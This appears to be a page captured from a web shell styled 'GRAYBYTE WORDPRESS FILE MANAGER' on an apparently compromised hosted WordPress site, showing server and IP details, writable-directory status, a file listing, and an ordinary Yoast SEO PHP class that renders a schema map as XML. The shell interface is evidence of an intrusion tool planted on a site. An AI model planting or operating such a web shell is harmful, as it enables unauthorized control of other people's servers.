✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/tasks/Exception/schema_map//schema-map-xml-renderer.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application\Schema_Map;

use DOMDocument;
use RuntimeException;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Schema_Map\Schema_Map_Config;

/**
 * Converts the schema map to an xml representation.
 */
class Schema_Map_Xml_Renderer {

	/**
	 * The schema map configuration.
	 *
	 * @var Schema_Map_Config
	 */
	private $config;

	/**
	 * Constructor.
	 *
	 * @param Schema_Map_Config $config The schema map configuration.
	 */
	public function __construct( Schema_Map_Config $config ) {
		$this->config = $config;
	}

	/**
	 * Converts the schema map to an XML string.
	 *
	 * @param array<array<string>> $schema_map The schema map data.
	 *
	 * @return string The XML representation of the schema map.
	 *
	 * @throws RuntimeException If the input structure is invalid or XML generation fails.
	 */
	public function render( array $schema_map ): string {
		$dom = new DOMDocument( '1.0', 'UTF-8' );

		$url_set = $dom->createElement( 'urlset' );
		$url_set->setAttribute( 'xmlns', 'http://www.sitemaps.org/schemas/sitemap/0.9' );
		$dom->appendChild( $url_set );

		$change_freq = $this->config->get_changefreq();
		$priority    = $this->config->get_priority();

		foreach ( $schema_map as $entry ) {
			if ( ! isset( $entry['url'] ) || ! isset( $entry['lastmod'] ) ) {
				continue;
			}

			$url = $dom->createElement( 'url' );

			$url->setAttribute( 'contentType', 'structuredData/schema.org' );

			$loc = $dom->createElement( 'loc' );
			$loc->appendChild( $dom->createTextNode( $entry['url'] ) );
			$url->appendChild( $loc );

			$last_mod = $dom->createElement( 'lastmod' );
			$last_mod->appendChild( $dom->createTextNode( $entry['lastmod'] ) );
			$url->appendChild( $last_mod );

			$cf = $dom->createElement( 'changefreq' );
			$cf->appendChild( $dom->createTextNode( $change_freq ) );
			$url->appendChild( $cf );

			$prio = $dom->createElement( 'priority' );
			$prio->appendChild( $dom->createTextNode( $priority ) );
			$url->appendChild( $prio );

			$url_set->appendChild( $url );
		}

		$xml = $dom->saveXML();
		if ( $xml === false ) {
			throw new RuntimeException( 'Failed to generate XML from DOMDocument' );
		}

		return $xml;
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
16 Sep 2026 10.23 AM
docteuh / users
0755
class-fusion-dynamic-data.php
78.321 KB
20 Nov 2023 7.14 PM
docteuh / users
0644
schema-map-builder-20260903224441.php
2.985 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-map-builder.php
2.985 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-map-xml-renderer.php
2.254 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF